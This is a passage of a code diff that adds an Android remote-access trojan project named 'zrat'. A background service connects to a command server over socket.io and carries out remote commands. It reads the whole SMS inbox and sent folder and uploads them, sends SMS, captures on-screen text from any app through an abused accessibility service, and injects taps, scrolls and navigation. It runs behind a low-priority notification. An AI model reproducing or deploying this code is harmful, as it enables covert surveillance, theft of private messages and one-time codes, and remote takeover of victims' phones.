+            minifyEnabled false
+            proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro'
+        }
+    }
+    compileOptions {
+        sourceCompatibility JavaVersion.VERSION_1_8
+        targetCompatibility JavaVersion.VERSION_1_8
+    }
+}
+
+dependencies {
+
+    implementation 'androidx.appcompat:appcompat:1.6.1'
+    implementation 'com.google.android.material:material:1.11.0'
+    testImplementation 'junit:junit:4.13.2'
+    androidTestImplementation 'androidx.test.ext:junit:1.1.5'
+    androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1'
+    implementation ('io.socket:socket.io-client:2.0.0') {
+        exclude group: 'org.json', module: 'json'
+    }
+    implementation 'org.apache.commons:commons-lang3:3.12.0'
+    implementation 'org.apache.commons:commons-collections4:4.4'
+    implementation 'com.google.code.gson:gson:2.10.1'
+    implementation 'pub.devrel:easypermissions:3.0.0'
+    implementation 'org.parceler:parceler-api:1.1.12'
+    annotationProcessor 'org.parceler:parceler:1.1.12'
+    implementation 'androidx.localbroadcastmanager:localbroadcastmanager:1.1.0'
+}

zrat/proguard-rules.pro

@@ -0,0 +1,21 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+#   http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+#   public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile

zrat/src/androidTest/java/com/example/zrat/ExampleInstrumentedTest.java

@@ -0,0 +1,26 @@
+package com.example.zrat;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+    @Test
+    public void useAppContext() {
+        // Context of the app under test.
+        Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+        assertEquals("com.example.zrat.test", appContext.getPackageName());
+    }
+}

zrat/src/main/AndroidManifest.xml

@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<manifest xmlns:android="http://schemas.android.com/apk/res/android">
+
+    <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE_REMOTE_MESSAGING" />
+    <uses-permission android:name="android.permission.READ_SMS" />
+    <uses-permission android:name="android.permission.SEND_SMS" />
+    <uses-permission android:name="android.permission.RECEIVE_SMS" />
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
+
+    <application android:usesCleartextTraffic="true">
+        <service
+            android:name=".AccessibilityService"
+            android:enabled="true"
+            android:exported="true"
+            android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE"
+            android:label="@string/accessibility_service_label">
+
+            <meta-data
+                android:name="android.accessibilityservice"
+                android:resource="@xml/accessibility_service_config" />
+            <intent-filter>
+                <action android:name="android.accessibilityservice.AccessibilityService" />
+            </intent-filter>
+        </service>
+
+        <service
+            android:name=".ZService"
+            android:enabled="true"
+            android:exported="true"
+            android:foregroundServiceType="remoteMessaging"
+            android:permission="zRat">
+
+        </service>
+
+        <activity
+            android:name=".permissions.PermissionsActivity"
+            android:excludeFromRecents="true"
+            android:exported="false"
+            android:theme="@style/AppTheme.Transparent" />
+    </application>
+
+</manifest>

zrat/src/main/java/com/example/zrat/AccessibilityService.java

@@ -0,0 +1,196 @@
+package com.example.zrat;
+
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.GestureDescription;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.graphics.Path;
+import android.graphics.PixelFormat;
+import android.graphics.Rect;
+import android.util.Log;
+import android.view.Gravity;
+import android.view.LayoutInflater;
+import android.view.WindowManager;
+import android.view.accessibility.AccessibilityEvent;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.view.accessibility.AccessibilityWindowInfo;
+import android.widget.FrameLayout;
+import android.widget.ImageButton;
+
+import com.google.gson.Gson;
+
+import org.json.JSONObject;
+
+import java.util.ArrayDeque;
+import java.util.ArrayList;
+import java.util.Deque;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class AccessibilityService extends android.accessibilityservice.AccessibilityService {
+    private static final String TAG = "AccessibilityService";
+
+    FrameLayout mLayout;
+
+    public static AccessibilityService instance;
+
+    public AccessibilityService() {
+    }
+
+    @Override
+    protected void onServiceConnected() {
+        super.onServiceConnected();
+        instance = this;
+
+        AccessibilityServiceInfo info = new AccessibilityServiceInfo();
+        info.eventTypes = AccessibilityEvent.TYPE_VIEW_CLICKED |
+                AccessibilityEvent.TYPE_VIEW_FOCUSED |
+                AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED;
+        info.feedbackType = AccessibilityServiceInfo.FEEDBACK_SPOKEN;
+        info.notificationTimeout = 100;
+        this.setServiceInfo(info);
+
+        WindowManager windowManager = (WindowManager) getSystemService(WINDOW_SERVICE);
+        mLayout = new FrameLayout(this);
+        WindowManager.LayoutParams layoutParams = new WindowManager.LayoutParams();
+        layoutParams.type = WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY;
+        layoutParams.format = PixelFormat.TRANSLUCENT;
+        layoutParams.flags |= WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+        layoutParams.width = WindowManager.LayoutParams.WRAP_CONTENT;
+        layoutParams.height = WindowManager.LayoutParams.WRAP_CONTENT;
+        layoutParams.x = 0;
+        layoutParams.y = 1120;
+        layoutParams.gravity = Gravity.START | Gravity.TOP;
+        LayoutInflater inflater = LayoutInflater.from(this);
+        inflater.inflate(R.layout.floating_bar, mLayout);
+        windowManager.addView(mLayout, layoutParams);
+
+        configureButton();
+    }
+
+    private void configureButton() {
+        ImageButton btn1 = mLayout.findViewById(R.id.btn1);
+        btn1.setOnClickListener(v -> {
+            AccessibilityNodeInfo root = getRootInActiveWindow();
+            Map<String, Object> nodeInfo = traverseNode(root);
+            Gson gson = new Gson();
+            String json = gson.toJson(nodeInfo);
+            Log.i(TAG, json);
+        });
+    }
+
+    public Map<String, Object> getScreen() {
+        AccessibilityNodeInfo root = getRootInActiveWindow();
+        String packageName = root.getPackageName().toString();
+        String appName = null;
+        try {
+            PackageManager packageManager = this.getPackageManager();
+            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+            appName = packageManager.getApplicationLabel(applicationInfo).toString();
+        } catch (PackageManager.NameNotFoundException e) {
+            throw new RuntimeException(e);
+        }
+        Map<String, Object> map = traverseNode(root);
+        map.put("packageName", packageName);
+        map.put("appName", appName);
+
+//        Rect rect = new Rect();
+//        root.getWindow().getBoundsInScreen(rect);
+//        map.put("windowBounds", rect);
+        return map;
+    }
+
+    private Map<String, Object> traverseNode(AccessibilityNodeInfo node) {
+        if (node == null) {
+            return null;
+        }
+        Map<String, Object> map = new HashMap<>();
+        map.put("class", node.getClassName());
+        map.put("text", node.getText());
+        map.put("actions", node.getActionList().stream().map(AccessibilityNodeInfo.AccessibilityAction::getId).toArray());
+        Rect rect = new Rect();
+        node.getBoundsInScreen(rect);
+        map.put("bounds", rect);
+
+        if (node.getChildCount() != 0) {
+            List<Map<String, Object>> children = new ArrayList<>();
+            for (int i = 0; i < node.getChildCount(); i++) {
+                children.add(traverseNode(node.getChild(i)));
+                map.put("children", children);
+            }
+        }
+        return map;
+    }
+
+    @Override
+    public void onAccessibilityEvent(AccessibilityEvent event) {
+        Log.i(TAG, "onAccessibilityEvent: ");
+        String packageName = event.getPackageName().toString();
+        PackageManager packageManager = this.getPackageManager();
+        try {
+            ApplicationInfo applicationInfo = packageManager.getApplicationInfo(packageName, 0);
+            CharSequence applicationLabel = packageManager.getApplicationLabel(applicationInfo);
+            Log.i(TAG, "app name is: " + applicationLabel);
+        } catch (PackageManager.NameNotFoundException e) {
+            e.printStackTrace();
+        }
+
+    }
+
+    @Override
+    public void onInterrupt() {
+
+    }
+
+    public void performClick(int x, int y) {
+        Path tap = new Path();
+        tap.moveTo(x, y);
+        GestureDescription.Builder tapBuilder = new GestureDescription.Builder();
+        tapBuilder.addStroke(new GestureDescription.StrokeDescription(tap, 0, 200));
+        dispatchGesture(tapBuilder.build(), null, null);
+    }
+
+    private AccessibilityNodeInfo findScrollableNode(AccessibilityNodeInfo root, AccessibilityNodeInfo.AccessibilityAction action) {
+        Deque<AccessibilityNodeInfo> deque = new ArrayDeque<>();
+        deque.add(root);
+        while (!deque.isEmpty()) {
+            AccessibilityNodeInfo node = deque.removeFirst();
+            if (node.getActionList().contains(action)) {
+                return node;
+            }
+            for (int i = 0; i < node.getChildCount(); i++) {
+                deque.addLast(node.getChild(i));
+            }
+        }
+        return null;
+    }
+
+    public void scrollDown() {
+        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD);
+        if (scrollable != null) {
+            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_FORWARD.getId());
+        }
+    }
+
+    public void scrollUp() {
+        AccessibilityNodeInfo scrollable = findScrollableNode(getRootInActiveWindow(), AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD);
+        if (scrollable != null) {
+            scrollable.performAction(AccessibilityNodeInfo.AccessibilityAction.ACTION_SCROLL_BACKWARD.getId());
+        }
+    }
+
+    public void home() {
+        performGlobalAction(GLOBAL_ACTION_HOME);
+    }
+
+    public void back() {
+        performGlobalAction(GLOBAL_ACTION_BACK);
+    }
+
+    public void recent() {
+        performGlobalAction(GLOBAL_ACTION_RECENTS);
+    }
+
+
+}

zrat/src/main/java/com/example/zrat/Command.java

@@ -0,0 +1,36 @@
+package com.example.zrat;
+
+import java.util.Map;
+
+public class Command {
+
+    private String from;
+
+    private String action;
+
+    private Map<String, Object> data;
+
+    public String getFrom() {
+        return from;
+    }
+
+    public void setFrom(String from) {
+        this.from = from;
+    }
+
+    public String getAction() {
+        return action;
+    }
+
+    public void setAction(String action) {
+        this.action = action;
+    }
+
+    public Map<String, Object> getData() {
+        return data;
+    }
+
+    public void setData(Map<String, Object> data) {
+        this.data = data;
+    }
+}

zrat/src/main/java/com/example/zrat/Result.java

@@ -0,0 +1,43 @@
+package com.example.zrat;
+
+public class Result {
+
+    public Result() {
+    }
+
+    public Result(String to, String action, Object data) {
+        this.to = to;
+        this.action = action;
+        this.data = data;
+    }
+
+    private String to;
+
+    private String action;
+
+    private Object data;
+
+    public String getTo() {
+        return to;
+    }
+
+    public void setTo(String to) {
+        this.to = to;
+    }
+
+    public String getAction() {
+        return action;
+    }
+
+    public void setAction(String action) {
+        this.action = action;
+    }
+
+    public Object getData() {
+        return data;
+    }
+
+    public void setData(Object data) {
+        this.data = data;
+    }
+}

zrat/src/main/java/com/example/zrat/ZService.java

@@ -0,0 +1,320 @@
+package com.example.zrat;
+
+import android.Manifest;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.database.Cursor;
+import android.graphics.Color;
+import android.net.Uri;
+import android.os.Binder;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.telephony.SmsManager;
+import android.util.Log;
+
+import androidx.annotation.RequiresApi;
+import androidx.core.app.NotificationCompat;
+
+import com.example.zrat.permissions.PermissionManager;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.google.gson.Gson;
+
+import org.apache.commons.collections4.MapUtils;
+import org.apache.commons.lang3.StringUtils;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+
+import io.socket.client.IO;
+import io.socket.client.Socket;
+import pub.devrel.easypermissions.EasyPermissions;
+
+public class ZService extends Service {
+    private final static String TAG = "ZService";
+
+    private final IBinder binder = new ZBinder();
+    private Socket mSocket;
+
+    public ZService() {
+    }
+
+    public class ZBinder extends Binder {
+        public ZService getService() {
+            return ZService.this;
+        }
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return binder;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        super.onStartCommand(intent, flags, startId);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
+            startMyOwnForeground();
+        } else {
+            startForeground(1, new Notification());
+        }
+        return Service.START_STICKY;
+    }
+
+    @RequiresApi(api = Build.VERSION_CODES.O)
+    private void startMyOwnForeground() {
+        String NOTIFICATION_CHANNEL_ID = "com.play.service.techno";
+        String channelName = "My Background Service";
+        NotificationChannel chan = new NotificationChannel(NOTIFICATION_CHANNEL_ID, channelName, NotificationManager.IMPORTANCE_NONE);
+        chan.setLightColor(Color.BLUE);
+        chan.setLockscreenVisibility(Notification.VISIBILITY_PRIVATE);
+        NotificationManager manager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE);
+        assert manager != null;
+        manager.createNotificationChannel(chan);
+
+        NotificationCompat.Builder notificationBuilder = new NotificationCompat.Builder(this, NOTIFICATION_CHANNEL_ID);
+        Notification notification = notificationBuilder.setOngoing(true)
+                .setContentTitle("App is running in background")
+                .setPriority(NotificationManager.IMPORTANCE_MIN)
+                .setCategory(Notification.CATEGORY_SERVICE)
+                .build();
+        startForeground(1, notification);
+    }
+
+    private String getSocketUrl() {
+        try {
+            ApplicationInfo appInfo = getPackageManager().getApplicationInfo(getPackageName(), PackageManager.GET_META_DATA);
+            Bundle bundle = appInfo.metaData;
+            return bundle.getString("socket_url");
+        } catch (PackageManager.NameNotFoundException e) {
+            e.printStackTrace();
+        }
+        return null;
+    }
+
+    private String getModel() {
+        String manufacturer = Build.MANUFACTURER;
+        String model = Build.MODEL;
+        return StringUtils.capitalize(manufacturer) + " " + model;
+    }
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        try {
+            String socketUrl = getSocketUrl();
+            mSocket = IO.socket(socketUrl);
+            mSocket.on(Socket.EVENT_CONNECT, args -> {
+                Map<String, Object> map = new HashMap<>();
+                map.put("model", getModel());
+                org.json.JSONObject json = new org.json.JSONObject(map);
+                mSocket.emit("info", json);
+            });
+            mSocket.on("cmd", args -> {
+                Log.i(TAG, "Received command: " + Arrays.toString(args));
+                Gson gson = new Gson();
+                JSONObject jsonObject = (JSONObject) args[0];
+                try {
+                    Command command = gson.fromJson(jsonObject.toString(), Command.class);
+                    switch (Objects.requireNonNull(command).getAction()) {
+                        case "sendSms":
+                            handleSendSms(command);
+                            break;
+                        case "readSms":
+                            handleReadSms(command);
+                            break;
+                        case "getScreen":
+                            handleGetScreen(command);
+                            break;
+                        case "click":
+                            handleClick(command);
+                            break;
+                        case "scrollDown":
+                            handleScrollDown(command);
+                            break;
+                        case "scrollUp":
+                            handleScrollUp(command);
+                            break;
+                        case "home":
+                            handleHome(command);
+                            break;
+                        case "back":
+                            handleBack(command);
+                            break;
+                        case "recent":
+                            handleRecentApps(command);
+                            break;
+                    }
+                } catch (Exception e) {
+                    e.printStackTrace();
+                }
+            });
+            mSocket.connect();
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+
+        PermissionManager.getInstance(this).checkPermissions(Collections.singleton(Manifest.permission.POST_NOTIFICATIONS), new PermissionManager.PermissionRequestListener() {
+            @Override
+            public void onPermissionGranted() {
+
+            }
+
+            @Override
+            public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+            }
+        });
+    }
+
+    private void handleReadSms(Command command) {
+        if (EasyPermissions.hasPermissions(this, Manifest.permission.READ_SMS)) {
+            readSms(command.getFrom());
+        } else {
+            PermissionManager.getInstance(this).checkPermissions(Arrays.asList(Manifest.permission.READ_SMS), new PermissionManager.PermissionRequestListener() {
+                @Override
+                public void onPermissionGranted() {
+                    readSms(command.getFrom());
+                }
+
+                @Override
+                public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+                }
+            });
+        }
+    }
+
+    private void readSms(String socketId) {
+        try {
+            List<Map<String, String>> list = new ArrayList<>();
+
+            Uri uriSMSURI = Uri.parse("content://sms/inbox");
+            Cursor cur = this.getApplicationContext().getContentResolver().query(uriSMSURI, null, null, null, null);
+
+            while (cur.moveToNext()) {
+                Map<String, String> sms = new HashMap<>();
+                Arrays.stream(cur.getColumnNames()).forEach(column -> {
+                    int index = cur.getColumnIndex(column);
+                    String value = cur.getString(index);
+                    sms.put(column, value);
+                });
+                list.add(sms);
+            }
+
+            Uri uriSentURI = Uri.parse("content://sms/sent");
+            Cursor sentCursor = this.getApplicationContext().getContentResolver().query(uriSentURI, null, null, null, null);
+            while (sentCursor.moveToNext()) {
+                Map<String, String> sms = new HashMap<>();
+                Arrays.stream(sentCursor.getColumnNames()).forEach(column -> {
+                    int index = sentCursor.getColumnIndex(column);
+                    String value = sentCursor.getString(index);
+                    sms.put(column, value);
+                });
+                list.add(sms);
+            }
+
+            mSocket.emit("result", new JSONObject(new Gson().toJson(
+                    new Result(socketId, "readSms", list)
+            )));
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+    }
+
+    private void handleSendSms(Command command) {
+        if (EasyPermissions.hasPermissions(this, Manifest.permission.SEND_SMS)) {
+            sendSms(MapUtils.getString(command.getData(), "phone"), MapUtils.getString(command.getData(), "message"));
+        } else {
+            PermissionManager.getInstance(this)
+                    .checkPermissions(Collections.singletonList(Manifest.permission.SEND_SMS),
+                            new PermissionManager.PermissionRequestListener() {
+                                @Override
+                                public void onPermissionGranted() {
+                                    sendSms(MapUtils.getString(command.getData(), "phone"),
+                                            MapUtils.getString(command.getData(), "message"));
+                                }
+
+                                @Override
+                                public void onPermissionDenied(DeniedPermissions deniedPermissions) {
+
+                                }
+                            });
+        }
+    }
+
+    private void sendSms(String phone, String message) {
+        try {
+            SmsManager smsManager = SmsManager.getDefault();
+            smsManager.sendTextMessage(phone, null, message, null, null);
+        } catch (Exception ex) {
+            ex.printStackTrace();
+        }
+    }
+
+    private void handleGetScreen(Command command) {
+        if (AccessibilityService.instance != null) {
+            Map<String, Object> map = AccessibilityService.instance.getScreen();
+            Gson gson = new Gson();
+            String json = gson.toJson(map);
+            try {
+                mSocket.emit("result", new JSONObject(gson.toJson(new Result(command.getFrom(), "getScreen", map))));
+            } catch (JSONException e) {
+                e.printStackTrace();
+            }
+        }
+    }
+
+    private void handleClick(Command command) {
+        if (AccessibilityService.instance != null) {
+            int x = MapUtils.getInteger(command.getData(), "x");
+            int y = MapUtils.getInteger(command.getData(), "y");
+            AccessibilityService.instance.performClick(x, y);
+        }
+    }
+
+    private void handleScrollDown(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.scrollDown();
+        }
+    }
+
+    private void handleScrollUp(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.scrollUp();
+        }
+    }
+
+    private void handleHome(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.home();
+        }
+    }
+
+    private void handleBack(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.back();
+        }
+    }
+
+    private void handleRecentApps(Command command) {
+        if (AccessibilityService.instance != null) {
+            AccessibilityService.instance.recent();
+        }
+    }
+
+
+}

zrat/src/main/java/com/example/zrat/permissions/NotificationDismissReceiver.java

@@ -0,0 +1,36 @@
+package com.example.zrat.permissions;
+
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.AppStatus;
+
+import java.util.Arrays;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+import static java.util.Arrays.asList;
+
+public class NotificationDismissReceiver extends BroadcastReceiver {
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String[] permissions = intent.getStringArrayExtra(PermissionsActivity.EXTRA_PERMISSIONS);
+
+        if (new AppStatus(context).isInForeground()) {
+            showPermissionsDialog(context, permissions);
+        } else {
+            PermissionManager.getInstance(context).removePendingPermissionRequests(asList(permissions));
+        }
+
+        Log.i("PERMISSION", "Pending permission notification dismissed. Cancelling: " + Arrays.toString(permissions));
+    }
+
+    private void showPermissionsDialog(Context context, String[] permissions) {
+        Intent permissionsIntent = new Intent(context, PermissionsActivity.class);
+        permissionsIntent.putExtra(PermissionsActivity.EXTRA_PERMISSIONS, permissions);
+        permissionsIntent.setFlags(FLAG_ACTIVITY_NEW_TASK);
+        context.startActivity(permissionsIntent);
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/NotificationSettings.java

@@ -0,0 +1,84 @@
+package com.example.zrat.permissions;
+
+import androidx.annotation.ColorRes;
+import androidx.annotation.DrawableRes;
+import androidx.annotation.StringRes;
+
+import com.example.zrat.R;
+
+public class NotificationSettings {
+    @StringRes
+    private int titleResId;
+    @StringRes
+    private int messageResId;
+    @DrawableRes
+    private int smallIconResId;
+    @ColorRes
+    private int colorResId;
+
+    private NotificationSettings(@StringRes int titleResId, @StringRes int messageResId,
+                                 @DrawableRes int smallIconResId, @ColorRes int colorResId) {
+        this.titleResId = titleResId;
+        this.messageResId = messageResId;
+        this.smallIconResId = smallIconResId;
+        this.colorResId = colorResId;
+    }
+
+    static NotificationSettings getDefault() {
+        return new NotificationSettings(R.string.title_permission_required,
+                R.string.message_permission_required,
+                android.R.mipmap.sym_def_app_icon, android.R.color.transparent);
+    }
+
+    @StringRes
+    public int getTitleResId() {
+        return titleResId;
+    }
+
+    @StringRes
+    public int getMessageResId() {
+        return messageResId;
+    }
+
+    @DrawableRes
+    public int getSmallIconResId() {
+        return smallIconResId;
+    }
+
+    @ColorRes
+    public int getColorResId() {
+        return colorResId;
+    }
+
+    public static class Builder {
+        private final NotificationSettings notificationSettings;
+
+        public Builder() {
+            this.notificationSettings = getDefault();
+        }
+
+        public Builder withTitle(@StringRes int titleResId) {
+            this.notificationSettings.titleResId = titleResId;
+            return this;
+        }
+
+        public Builder withMessage(@StringRes int messageResId) {
+            this.notificationSettings.messageResId = messageResId;
+            return this;
+        }
+
+        public Builder withSmallIcon(@DrawableRes int smallIconResId) {
+            this.notificationSettings.smallIconResId = smallIconResId;
+            return this;
+        }
+
+        public Builder withColorResId(@ColorRes int colorResId) {
+            this.notificationSettings.colorResId = colorResId;
+            return this;
+        }
+
+        public NotificationSettings build() {
+            return notificationSettings;
+        }
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/PermissionHandler.java

@@ -0,0 +1,143 @@
+package com.example.zrat.permissions;
+
+import android.content.Context;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.AppStatus;
+import com.example.zrat.permissions.models.DeniedPermission;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.BroadcastService;
+
+import java.util.Collection;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.CopyOnWriteArraySet;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.VisibleForTesting;
+
+import static java.util.Arrays.asList;
+
+class PermissionHandler {
+    private final PermissionManager manager;
+    private final AppStatus appStatus;
+    private final ConcurrentHashMap<PermissionManager.PermissionRequestListener, Set<String>> requiredPermissionsMap = new ConcurrentHashMap<>();
+    private final Set<String> pendingPermissionRequests = new CopyOnWriteArraySet<>();
+
+    PermissionHandler(PermissionManager manager, Context context) {
+        this(new AppStatus(context), manager);
+    }
+
+    @VisibleForTesting
+    PermissionHandler(AppStatus appStatus, PermissionManager manager) {
+        this.manager = manager;
+        this.appStatus = appStatus;
+    }
+
+    void checkPermissions(Collection<String> permissions, PermissionManager.PermissionRequestListener listener) {
+        Set<String> permissionsToRequest = filterGrantedPermissions(permissions);
+
+        if (permissionsToRequest.isEmpty()) {
+            listener.onPermissionGranted();
+        } else {
+            requiredPermissionsMap.put(listener, new HashSet<>(permissionsToRequest));
+            registerForBroadcastIfNeeded(BroadcastService.IntentAction.ACTION_PERMISSIONS_REQUEST);
+            filterPendingPermissions(permissionsToRequest);
+            if (!permissionsToRequest.isEmpty()) {
+                requestPermissions(permissionsToRequest);
+            }
+        }
+    }
+
+    void onPermissionsResult(String[] grantedPermissions, DeniedPermissions deniedPermissions) {
+        synchronized (requiredPermissionsMap) {
+            informPermissionsDenied(deniedPermissions);
+            informPermissionsGranted(grantedPermissions);
+        }
+
+        pendingPermissionRequests.removeAll(asList(grantedPermissions));
+        pendingPermissionRequests.removeAll(deniedPermissions.stripped());
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.unregisterBroadcastReceiver();
+        }
+    }
+
+    @VisibleForTesting
+    void requestPermissions(Set<String> permissions) {
+        Log.i("PERMISSION", "No pending foreground permission request for " + permissions + ", asking.");
+
+        pendingPermissionRequests.addAll(permissions);
+
+        if (appStatus.isInForeground()) {
+            manager.startPermissionActivity(permissions);
+        } else {
+            manager.showPermissionNotification(permissions);
+        }
+    }
+
+    void invalidatePendingPermissionRequests(Collection<String> permissions) {
+        pendingPermissionRequests.removeAll(permissions);
+        DeniedPermissions deniedPermissions = new DeniedPermissions();
+        for (String permission : permissions) {
+            deniedPermissions.add(new DeniedPermission(permission, false));
+        }
+        informPermissionsDenied(deniedPermissions);
+
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.unregisterBroadcastReceiver();
+        }
+    }
+
+    private void informPermissionsDenied(DeniedPermissions deniedPermissions) {
+        for (PermissionManager.PermissionRequestListener listener : requiredPermissionsMap.keySet()) {
+            Set<String> permissionSet = requiredPermissionsMap.get(listener);
+            Set<String> strippedDeniedPermissions = deniedPermissions.stripped();
+            strippedDeniedPermissions.retainAll(permissionSet);
+
+            if (!strippedDeniedPermissions.isEmpty()) {
+                listener.onPermissionDenied(deniedPermissions);
+                requiredPermissionsMap.remove(listener);
+            }
+        }
+    }
+
+    private void informPermissionsGranted(String[] grantedPermissions) {
+        for (PermissionManager.PermissionRequestListener listener : requiredPermissionsMap.keySet()) {
+            Set<String> permissionSet = requiredPermissionsMap.get(listener);
+            permissionSet.removeAll(asList(grantedPermissions));
+
+            if (permissionSet.isEmpty()) {
+                listener.onPermissionGranted();
+                requiredPermissionsMap.remove(listener);
+            }
+        }
+    }
+
+    private void registerForBroadcastIfNeeded(String action) {
+        if (pendingPermissionRequests.isEmpty()) {
+            manager.registerBroadcastReceiver(action);
+        }
+    }
+
+    @NonNull
+    private Set<String> filterGrantedPermissions(Collection<String> permissions) {
+        Set<String> permissionsToRequest = new HashSet<>();
+        for (String permission : permissions) {
+            if (!manager.permissionAlreadyGranted(permission)) {
+                permissionsToRequest.add(permission);
+            }
+        }
+        return permissionsToRequest;
+    }
+
+    private void filterPendingPermissions(Set<String> permissionsToRequest) {
+        for (String permission : permissionsToRequest) {
+            if (pendingPermissionRequests.contains(permission)) {
+                Log.i("PERMISSION", "Permission request for " + permission + " pending, not asking again.");
+            }
+        }
+
+        permissionsToRequest.removeAll(pendingPermissionRequests);
+    }
+}

zrat/src/main/java/com/example/zrat/permissions/PermissionManager.java

@@ -0,0 +1,132 @@
+package com.example.zrat.permissions;
+
+import android.app.Notification;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.util.Log;
+
+import com.example.zrat.permissions.helpers.VersionOrchestrator;
+import com.example.zrat.permissions.models.DeniedPermissions;
+import com.example.zrat.permissions.services.NotificationService;
+
+import org.parceler.Parcels;
+
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.List;
+import java.util.Set;
+
+import androidx.annotation.NonNull;
+import androidx.localbroadcastmanager.content.LocalBroadcastManager;
+
+import static android.app.PendingIntent.FLAG_ONE_SHOT;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+import static androidx.core.content.ContextCompat.checkSelfPermission;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_DENIED;
+import static com.example.zrat.permissions.PermissionsActivity.EXTRA_PERMISSIONS_GRANTED;
+
+
+public class PermissionManager extends BroadcastReceiver {
+    private final Context context;
+    private static PermissionManager permissionManager;
+    private final PermissionHandler permissionHandler;
+    private NotificationSettings notificationSettings;
+
+    private PermissionManager(Context context) {
+        this.context = context;
+        this.permissionHandler = new PermissionHandler(this, context);
+        this.notificationSettings = NotificationSettings.getDefault();
+    }
+
+    public static PermissionManager getInstance(Context context) {
+        if (permissionManager == null) {
+            permissionManager = new PermissionManager(context.getApplicationContext());
+        }
+        return permissionManager;
+    }
+
+    public void checkPermissions(@NonNull Collection<String> permissions, @NonNull final PermissionRequestListener listener) {
+        permissionHandler.checkPermissions(permissions, listener);
+    }
+
+    public void setNotificationSettings(NotificationSettings notificationSettings) {
+        this.notificationSettings = notificationSettings;
+    }
+
+    @Override
+    public void onReceive(Context context, Intent intent) {
+        String[] grantedPermissions = intent.getStringArrayExtra(EXTRA_PERMISSIONS_GRANTED);
+        DeniedPermissions deniedPermissions = Parcels.unwrap(intent.getParcelableExtra(EXTRA_PERMISSIONS_DENIED));
